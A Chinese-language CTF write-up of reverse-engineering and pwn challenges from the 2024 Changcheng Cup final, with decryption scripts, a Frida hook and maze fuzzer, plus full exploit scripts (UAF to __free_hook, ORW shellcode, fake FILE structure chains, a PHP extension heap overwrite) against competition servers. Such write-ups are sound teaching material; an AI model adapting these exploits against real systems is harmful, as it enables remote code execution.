2024第一届长城杯决赛-re&pwn

本文最后更新于:2024年7月12日 晚上

REVERSE

kernel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include<stdio.h>


void decrypt(unsigned int *a,unsigned int *b){
unsigned int magic[]={0x1234,0x3a4d,0x5e6f,0xaa33};
int i=0;
unsigned int v5=*a;
unsigned int v6=*b;
unsigned int v4=0;
for (i=0;i<33;i++){
v4 -= 1640951535;
}

for ( i = 0; i < 33; ++i )
{
v6 -= ((magic[(v4>>11)&3]) + v4) ^ (v5 + ((v5 >> 6) ^ (8 * v5)));
v4 += 1640951535;
v5 -= ((magic[v4&3]) + v4) ^ (v6 + ((v6 >> 6) ^ (4 * v6)));
}
*a=v5;
*b=v6;
}

int main(){
unsigned int data[8] = {
0x8CCAF011, 0x835A03B8, 0x6DCC9BAD, 0xE671FA99, 0xE6011F35, 0xE5A56CC8, 0xD4847CFA, 0x5D8E0B8E
};
int i=0;
int j=0;
for (i=0;i<8;i+=2){
decrypt(data+i,data+i+1);
for(j=0;j<4;j++){
printf("%c",((char*)data)[3-j+i*4]);
}
for(j=0;j<4;j++){
printf("%c",((char*)data)[3-j+i*4+4]);
}

}
printf("\n");
}

puzzle(赛后复现)

最终要比较的链表中字符串的顺序为ISCC2024,但在解析输入创建链表时是反过来的

这里num2ch的代码太短了就不贴出来了,其内容就是对数字异或0x8d并且只取最低的一个字节

通过分析代码发现最终的数字满足两个条件,假设数字为a,则 a满足 a%2==0 && (a-1)%3==0

所以我可以想到当数字的最低位为1时,可能是进行了(a-1)/3操作,而最低为为0时则可能是进行了a*2操作

基于这个猜想写出下面的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

def getdata(num):
    data=num
    result=""
    while data!=1:
        if data&1 ==1:
            data=(data*3)+1
            result='b'+result
        else:
            data=data//2
            result='a'+result
        data=data&0xffffffff
    return result

data=b"ISCC2024"[::-1]
e=[]
for i,k in enumerate(data):
    d=getdata(((k^0x8d)-i))
    if d!=None:
        e.append(d)
        print(''.join(d),chr(k))
print('-'.join(e))

# flag{W0w_U_Ar3_V3ry_G00d_A7_C0unt1n9_3c968eb5d72c3dca}
# a 是 2的倍数  
# a-1 是 3的倍数

crazyaes(赛后复现)

先修复程序的PE头,之后修复UPX字段就可以使用upx工具进行脱壳了
下面分析程序
程序是一个魔改过的aes加密,修改了aes加密流程中的三个地方

第一个点就是在使用密钥与明文进行异或之后又进行了一次异或
因为异或操作可以还原,所以解密时可以先对密钥进行异或之后再对密钥进行列混合操作就可以解密这一部分

第二个点就是在对明文进行S盒代换时异或了0xa1,其实这就相当于改变了S盒,只要用改变后的S盒获取新的D盒就好了,不过得注意在进行扩展密钥操作时用的是初始的S盒

第三部分就是在对明文进行列混合时异或了0x54,这个只要在解密时对密文进行列混合时也异或0x54就好了,注意不要密文和密钥都异或0x54,因为这样相当于没异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
import random
class aes:
Round_num=10

S_Box=[ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16]

Rcon=[0x01, 0x02,
0x04, 0x08,
0x10, 0x20,
0x40, 0x80,
0x1b, 0x36]

En_Status=[[2,3,1,1],
[1,2,3,1],
[1,1,2,3],
[3,1,1,2]]

De_Status=[[0x0E, 0x0B, 0x0D, 0x09],
[0x09, 0x0E, 0x0B, 0x0D],
[0x0D, 0x09, 0x0E, 0x0B],
[0x0B, 0x0D, 0x09, 0x0E]]

D_Box=[0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d]

def __init__(self,Key,Mode=0,Enc_type=128):
for i,v in enumerate(self.S_Box):
self.D_Box[v^0xa1]=i
e=[0,1,2,3,\
1,0,3,2,\
2,3,0,1,\
3,2,1,0]
self.e=self.toMatrix(e)[0]
self.Round_num=Enc_type//32+8-2
self.Enc_type=Enc_type
self.Key=Key
self.Mode=Mode
pass


def Rot_Word(self,Raw_data,Rot_Num=1):
Raw_len=len(Raw_data)
New_data=[]
i=Rot_Num
New_len=0
while New_len<Raw_len:
New_data.append(Raw_data[i%Raw_len])
i=i+1
New_len+=1
return New_data

def SubBytes(self,Raw_data,Box,en=True):
New_data=[]
for i in Raw_data:
New_Row=[]
for j in i:
New_Row.append(Box[j])
New_data.append(New_Row)
return New_data

def T(self,Raw_data,Round_N):
New_data=self.SubBytes([self.Rot_Word(Raw_data)],self.S_Box)[0]
New_data[0]^=self.Rcon[Round_N]
return New_data

def ExtentKey(self,Key_data : list):
Ext_Key=Key_data.copy()
i=len(Key_data)
Step=self.Enc_type//32
while i<self.Round_num*4+4:
New_k=[]
if Step==8 and i%8==4:
Sub_Key=self.SubBytes([Ext_Key[i-1]],self.S_Box)[0]
for j,v in enumerate(Ext_Key[i-Step]):
New_k.append(Sub_Key[j]^v)
elif i%Step != 0:
for j,v in enumerate(Ext_Key[i-Step]):
New_k.append(Ext_Key[i-1][j]^v)
else:
T_Key=self.T(Ext_Key[i-1],i//Step-1)
for j,v in enumerate(Ext_Key[i-Step]):
New_k.append(T_Key[j]^v)
Ext_Key.append(New_k)
i+=1
return Ext_Key

def ShiftRow(self,Row_data,dire=True):
New_data=[]
Row_len=len(Row_data)
Col_len=len(Row_data[0])
i=0
while i<Row_len:
New_data.append([])
j=0
while j<Col_len:
if dire:
New_data[i].append(Row_data[ (j+i)%Row_len ][j])
else:
New_data[i].append(Row_data[ (Row_len-j+i)%Row_len ][ j ] )
j+=1
i+=1
return New_data

def Safe_Out2(self,Raw_data):
Result=Raw_data
Result=Result*2
if Result>=0x100:
Result=(Result&0xff)^0x1b
return Result

def Safe_Out4(self,Raw_data):
return self.Safe_Out2(self.Safe_Out2(Raw_data))

def Safe_Out8(self,Raw_data):
return self.Safe_Out4(self.Safe_Out2(Raw_data))

def Safe_Mix(self,Raw_data,Num):
Result=Raw_data
if Num==3:
Result=self.Safe_Out2(Result)^Raw_data
elif Num==2:
Result=self.Safe_Out2(Result)
elif Num==9:
Result=self.Safe_Out8(Result)^Raw_data
elif Num==11:
Result=self.Safe_Out8(Result)^self.Safe_Out2(Result)^Raw_data
elif Num==13:
Result=self.Safe_Out8(Result)^self.Safe_Out4(Result)^Raw_data
elif Num==14:
Result=self.Safe_Out8(Result)^self.Safe_Out4(Result)^self.Safe_Out2(Result)
return Result

def Column_Mix(self,Row_data,Mul_Mat):
New_data=[]
for i in Row_data:
#New_Row=[0,0,0,0]
New_Row=[0x54,0x54,0x54,0x54]
for j,v in enumerate(i):
New_Row[0]^=self.Safe_Mix(v,Mul_Mat[0][j])
New_Row[1]^=self.Safe_Mix(v,Mul_Mat[1][j])
New_Row[2]^=self.Safe_Mix(v,Mul_Mat[2][j])
New_Row[3]^=self.Safe_Mix(v,Mul_Mat[3][j])
New_data.append(New_Row)
return New_data
def Column_Mix_(self,Row_data,Mul_Mat):
New_data=[]
for i in Row_data:
New_Row=[0,0,0,0]
#New_Row=[0x54,0x54,0x54,0x54]
for j,v in enumerate(i):
New_Row[0]^=self.Safe_Mix(v,Mul_Mat[0][j])
New_Row[1]^=self.Safe_Mix(v,Mul_Mat[1][j])
New_Row[2]^=self.Safe_Mix(v,Mul_Mat[2][j])
New_Row[3]^=self.Safe_Mix(v,Mul_Mat[3][j])
New_data.append(New_Row)
return New_data

def xorMat(self,Data_Mat,Key_Mat):
New_Mat=[]
for i,v in enumerate(Data_Mat):
New_Row=[]
for j,v1 in enumerate(Data_Mat[i]):
New_Row.append(v1^Key_Mat[i][j])
New_Mat.append(New_Row)
return New_Mat

def toMatrix(self,data,Mat_W=4,Mat_H=4):
Matrixs=[]
w_i=0
h_i=0
Matrix=[]
Matrix_Row=[]
for i in data:
Matrix_Row.append(i)
w_i+=1
if w_i >= Mat_W:
Matrix.append(Matrix_Row)
Matrix_Row=[]
w_i=0
h_i+=1
if h_i>=Mat_H:
Matrixs.append(Matrix)
h_i=0
return Matrixs

def toList(self,Raw_Mat):
Out_data=[]
for i in Raw_Mat:
for j in i:
Out_data.append(j)
return Out_data


def decrypt(self,Raw_data):
Key_Mat=self.toMatrix(self.Key)[0]
Exten_K=self.ExtentKey(Key_Mat)
Key_Mat=Exten_K[self.Round_num*4:self.Round_num*4+4]
Plain=[]
This_data=0

De_len=len(Raw_data)
while This_data < De_len:
T_de_data=self.toMatrix(Raw_data[This_data:This_data+16])[0]

Key_Mat=self.xorMat(Key_Mat,self.e)
T_de_data=self.xorMat(T_de_data,Key_Mat)
This_Round=0
This_Key=self.Round_num*4-4
while This_Round < self.Round_num:

T_Key=Exten_K[This_Key:This_Key+4]
T_Key=self.xorMat(T_Key,self.e)
T_de_data=self.SubBytes(T_de_data,self.D_Box,False)
T_de_data=self.ShiftRow(T_de_data,dire=False)
if This_Round!=self.Round_num-1:

T_de_data=self.Column_Mix(T_de_data,self.De_Status)
T_Key=self.Column_Mix_(T_Key,self.De_Status)

T_de_data=self.xorMat(T_de_data,T_Key)

This_Key-=4
This_Round+=1

Plain=Plain+self.toList(T_de_data)
This_data+=16
return bytes(Plain)

data=bytes.fromhex(''.join('B4 38 36 30 1E 68 48 57 51 01 B7 03 9B 98 E3 7E'.split()))
key=b'gah43jJKgfjGMeAR'
a=aes(key)
print(a.decrypt(data))

要塞守护(赛后复现)


分析apk代码,发现存在wcmm5ukkinformation.db两个资源文件,使用sqlite打开information.db之后里面是fakeflag
在代码中存在两个密钥一个是VWt1OEhOMkpnbU1VSnhzQw==,另一个是FCAr62VFBF9SRw8Z这一个密钥已知是在调用decrypt函数时使用的

现在就剩两个东西没有找到用处,一个是KEY变量,base64解密之后为Uku8HN2JgmMUJxsC,另一个是wcmm5ukk
尝试将其作为sqlite数据库文件,并使用KEY变量当作密钥

得到一串十六进制字符串,将其传入decrypt尝试解密,由于程序没有主动调用decrypt函数,所以需要frida hook之后调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import frida
import sys
script=open("script.js",'r').read()

def message(message,data):
global num,f1
if message['payload']=='test':
putdata=[]
putdata.append("a9f3718960505f6bba12e85b550db764922b4b97")
scr.post({"data":putdata})

rdev=frida.get_remote_device()
process=rdev.attach("要地守护")
scr=process.create_script(script)

scr.on("message",message)

print("running")
scr.load()
sys.stdin.read()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Java.perform(function(){
let MainActivity = Java.use("com.information.app1.MainActivity");
let string=Java.use("java.lang.String");
MainActivity["showToast"].implementation = function () {
send("test");
recv(function onMessage(message){
let Encryption = Java.use("com.information.ndk.Encryption");

let key="FCAr62VFBF9SRw8Z";
let data=message.data;
for (let i=0;i<data.length;i++){
let dedata=Encryption["decrypt"](data[i],key);
console.log(dedata);
}
});
};
})

mapmap(赛后复现)

由于本人逆向功底有限,所以没有把地图逆向出来,但通过写脚本可以把完整路径fuzz出来
需要先patch一下程序,当输入其他字符时不输出wrong而是输出flag{md5(your input)},来判断其他字符之前的路径是否正确

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import os
data=""
base={
"w":(0,-1),
"s":(0,1),
"a":(-1,0),
"d":(1,0),
}

def getdire():
x=0
y=0
dire=''
direct="wasd"
road=[]
stack=[]
i=0
num=0
while x!=0x26 or y!=0x26:
while i<4:
x_,y_=base[direct[i]]
x_=x+x_
y_=y+y_
if x_ <0 or y_<0 or x_>0x26 or y_ > 0x26 or (x_,y_) in road:
num+=1
i+=1
continue
checkdata=(dire+direct[i]).ljust(0x8c,'x')
os.system(f"echo {checkdata} > check")

d=os.popen("./mapmap1 < check").read().strip()
if 'wrong' in d:
i+=1
num+=1
continue
road.append((x,y))
x,y=x_,y_
dire=dire+direct[i]
if x==0x26 and y==0x26:
return dire
stack.append((num+1,i+1))
print(dire)
break
if num==4:
num,i=stack.pop()
x,y=road.pop()
dire=dire[:-1]
while i==4:
num,i=stack.pop()
x,y=road.pop()
dire=dire[:-1]
else:
num=0
i=0
return dire,True

print(getdire())

# ssssddwwwwddddssaassssssaassddssaassddssddssssssddssaassddssddwwddssssddwwddddssssssssssddddddddddwwddssddddddwwaawwddwwaaaawwddddddssssssss

PWN

Old_man_v1

UAF秒了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

def add(ind,size,data=b'\n'):
p.sendlineafter(b'needed',b'1')
p.sendlineafter(b'add?',str(ind).encode())
p.sendlineafter(b'include?:',str(size).encode())
p.sendlineafter(b'about:',data)

def edit(ind,data=b'\n'):
p.sendlineafter(b'needed',b'3')
p.sendlineafter(b'edit?',str(ind).encode())
p.sendlineafter(b'about:',data)
def free(ind):
p.sendlineafter(b'needed',b'4')
p.sendlineafter(b'delete?',str(ind).encode())


def show(ind):
p.sendlineafter(b'needed',b'2')
p.sendlineafter(b'show?\n',str(ind).encode())


p=remote('202.0.5.71',9999)
libc=ELF("./libc-2.27.so")
add(0,0x20)
add(1,0x20)
add(2,0x448)
add(3,0x20,b'/bin/sh\x00')

free(2)
show(2)
libc.address=(u64(p.read(8))-0x58-libc.sym['__malloc_hook'])&(~0xfff)
free_hook=libc.sym['__free_hook']
system=libc.sym['system']
free(0)
edit(0,p64(free_hook))
add(4,0x20)
add(5,0x20,p64(system))
free(3)
p.interactive()
print(hex(libc.address))

SandBoxShell

orw shellcode秒了

1
2
3
4
5
6
7
from pwn import *
context.arch='amd64'
p=remote("202.0.5.71",8888)
e=ELF("SandBoxShell")
shellcode=shellcraft.open("flag")+shellcraft.read(3,e.bss(0x200),0x300)+shellcraft.write(1,e.bss(0x200),0x300)
p.send(asm(shellcode))
p.interactive()

not_so_aarch64

堆题都一样,半秒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103

from pwn import *
context.arch='aarch64'

def add(size,data=b'\n'):
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b'size:',str(size).encode())
p.sendafter(b'content: ',data)
def free(ind):
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b'Index: ',str(ind).encode())
def show(ind):
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'Index: ',str(ind).encode())
def exit():
p.sendlineafter(b'> ',b'4')

def calc(data):
mark=0xfff000000000
data1=data&mark
result=0
result|=data1
for i in range(3):
data1=((data1>>12)^data)&(mark>>12)
result|=data1
mark=mark>>12
return result
pass


p=remote('202.0.5.71','6666')
libc=ELF("./libc.so.6")
add(0x58) #0
add(0x58) #1
add(0x58,b'a'*0x10+p64(0)+p64(0x461)+p64(0)*3) #2
add(0x58,b'123123123') #3
add(0x58) #4
add(0x58) #5
add(0x58) #6
add(0x58) #7
add(0x58) #8
add(0x58) #9
add(0x58) #10
add(0x58) #11
add(0x58) #12
add(0x58) #13
add(0x58) #14
add(0x58) #15
free(0)
free(1)
add(0x58) #16
show(16)
d=u64(p.read(8))
heap=calc(d)&(~0xfff)
print(hex(heap))
free(1)
f_chunk3=heap+0x2a0+(0x20+0x60)*2+0x20+0x20
add(0x18,p64(0x500)+p64(1)+p64(f_chunk3)) #17
free(0)
show(2)

p.read(0x20)
libc.address=u64(p.read(8))-0x60-0x19cb10
unsortedbin = libc.address+0x60+0x19cb10
print(hex(libc.address))
success(f"unsorted bin: 0x{unsortedbin:x}")

obstack_jumps=libc.address+0x199760-0x40+0x28
stdout=libc.sym['_IO_2_1_stdout_']
gadget=libc.sym['system']
vtable=stdout+0xd8
iolist=libc.sym['_IO_list_all']
print(hex(iolist))
success(f"obstack_jump: 0x{obstack_jumps:x}")
free(4)
free(3)
free(6)
free(5)
free(10)
free(7)
free(9)
chunk3=heap+0x290+(0x20+0x60)*3+0x10
print(hex(vtable))
print(hex(iolist))
obstack=heap+0x2a0+(0x80)*2+0x20+0x20+0x70
add(0x68,p64(0)*7+p64(0x21)+p64((chunk3>>12)^(vtable)))
fake_io=flat({
0x0: b"/bin/sh\x00",
0x20: 0x8000,
0x28: [0,0,gadget],
0x48: [obstack,1]})

fake_io1=flat({
0x18: obstack_jumps+0x20,
0x20: obstack,
},filler=b'\x00')

add(0x68,fake_io)
add(0x38)
add(0x68,fake_io1)
add(0x18,p64(obstack_jumps)+p64(obstack))
print(hex(obstack))
p.interactive()

power_system(赛后复现)

比赛的时候只想起来strncmp里面src不能有\x00,不然会直接判为字符串不同,没想起来dest里面也有\x00

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context.arch='amd64'
def login(pwd):
p.sendlineafter(b'>>',b'2')
p.sendlineafter(b'account :',b'QAQ')
p.sendlineafter(b'password :',pwd)

def view():
p.sendlineafter(b'>>',b'1')

def adjust(ind,size,data='\n'):
p.sendlineafter(b'Exit',b'2')
p.sendlineafter(b'power',str(ind).encode())
p.sendlineafter(b'size:',str(size).encode())
p.sendlineafter(b'staff',data)

def turn():
p.sendlineafter(b'>>',b'3')
p.sendlineafter(b'power',str(ind).encode())

p=process('./pwn')
libc=ELF("./libc-2.29.so")
gdb.attach(p,'b _IO_wfile_underflow\nc')
pause()
pwd=b'/\x05c\x01%p%p%p.%p'
login(pwd)
p.readuntil('passwrod is')
p.readuntil('.')
d=int(p.readuntil('1.',drop=1),16)
print(hex(d))
libc.address=d-0x1ec5c0
print(hex(libc.address))

fake_io_add=libc.sym['_IO_2_1_stderr_']

gadget=libc.address+0xe21ce
wfile_jump=libc.sym['_IO_wfile_jumps']

fake_io=flat({
0x8-8: fake_io_add,
0x10-8: fake_io_add+1,
0x28-8: gadget,
0x98-8: fake_io_add+0x10,
0xa0-8: fake_io_add+0x10,
0xd8-8: wfile_jump+8,
},filler=b'\x00')
adjust(-2,0,fake_io)

p.interactive()

numbergame(赛后复现)

赛后看别人的wp出的,要看出来漏洞还挺麻烦的

_quicksort先对数组进行快速排序,在最后会校验排序是否正确
当数组中中存在一个数字b,存在 (a-b)&0x80000000==0 (b-a)&0x80000000!=0时,开始的快速排序会让其到数组的最后
但在最后的校验时 使用(b-a)去判断大小,因为结果为负数,所以程序会认为b比较小,会将他放到前面,但程序没有校验指针是否越界
就导致b可以与array size进行比较,当满足 (b-array_size)&0x80000000==0时,就会将b放到array_size的高四字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<?php 

function substr($str,$start,$len){
$data="";
for ($i=0;$i<$len;$i++){
$data.=$str[$start+$i];
}
return $data;
}
function p64($num,$len=8){
$data="";
$cache=hex2bin(dechex($num));
$cache=strrev($cache)."\0\0\0\0\0\0\0";
for ($i=0;$i<$len;$i++){
$data.=$cache[$i];
}
return $data;
}

$libc=0;
$mbase=0;
function read($d,$off=0){
$d.="\0\0\0\0\0\0\0\0\0";
$chunk=0;
for($i=0x7+$off;$i>=$off;$i--){
$chunk=$chunk<<8;
$chunk+=ord($d[$i]);
}
return $chunk;
}
function outdata($data,$addr=0){
if ($addr==0){
print("data: ".bin2hex($data)."\n");
}
else{
print("$addr : ".bin2hex($data)."\n");
}
}

function leakaddr($buffer){
global $libc,$mbase;
$p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';
$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/.*?numberGame.so/';
preg_match_all($p, $buffer, $libc);
preg_match_all($p1, $buffer, $mbase);
return "";
}

function putdata($data){
$num=0;
foreach($data as $ind=>$value){
echo "$num: $value\n";
$num++;
}
}

function show($ind,$isout=1){
$data=show_chunk($ind);
if ($isout)
putdata($data);
return $data;
}
function edit($ind,$ind_,$data){
edit_chunk($ind,$ind_,$data);
}
function ljust($data,$len,$s="a"){
$a=mb_strlen($data);
if ($a>=$len){
return $data;
}
for(;$a<$len;$a++){
$data.=$s;
}
return $data;
}

ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libcbase=hexdec($libc[1][0]);
$mobbase=hexdec($mbase[1][0]);
echo dechex($libcbase)."\n";
echo dechex($mobbase)."\n";
$strlen=$mobbase+0x4008;
$system=$libcbase+312464;

echo dechex($strlen)."\n";
add_chunk(43,[1,1,1,1,1,1,0x80000001,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"");
add_chunk(43,[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"");
add_chunk(43,[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"/readflag");
show(0,0);
edit_chunk(0,50,$strlen&0xffffffff);
#edit_chunk(0,51,($libcbase>>32)&0xffffffff);
edit_name(1,p64($system,6));
edit_name(2,"asdf");
?>

2024第一届长城杯决赛-re&pwn
https://rot-will.github.io/page/wp/2024第一届长城杯决赛/
作者
rot_will
发布于
2024年5月27日
更新于
2024年7月12日
许可协议